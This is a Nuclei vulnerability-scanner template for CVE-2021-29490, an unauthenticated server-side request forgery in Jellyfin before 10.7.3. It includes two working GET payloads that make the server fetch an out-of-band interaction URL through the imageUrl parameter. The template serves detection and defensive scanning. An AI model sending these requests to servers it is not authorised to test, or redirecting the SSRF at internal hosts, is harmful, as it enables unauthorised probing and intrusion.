nuclei-templates/cves/2021/CVE-2021-29490.yaml

id: CVE-2021-29490

info:
  name: Jellyfin <10.7.2 SSRF
  author: alph4byt3
  severity: medium
  description: Jellyfin is a free software media system that provides media from a dedicated server to end-user devices via multiple apps. Verions prior to 10.7.3 vulnerable to unauthenticated Server-Side Request Forgery (SSRF) attacks via the imageUrl parameter.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-29490
    - https://github.com/jellyfin/jellyfin/security/advisories/GHSA-rgjw-4fwc-9v96
  tags: cve,cve2021,ssrf
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
    cvss-score: 5.80
    cve-id: CVE-2021-29490
    cwe-id: CWE-918

requests:
  - method: GET
    path:
      - "{{BaseURL}}/Images/Remote?imageUrl=http://{{interactsh-url}}"
      - "{{BaseURL}}/Items/RemoteSearch/Image?ImageUrl=http://{{interactsh-url}}&ProviderName=TheMovieDB"

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"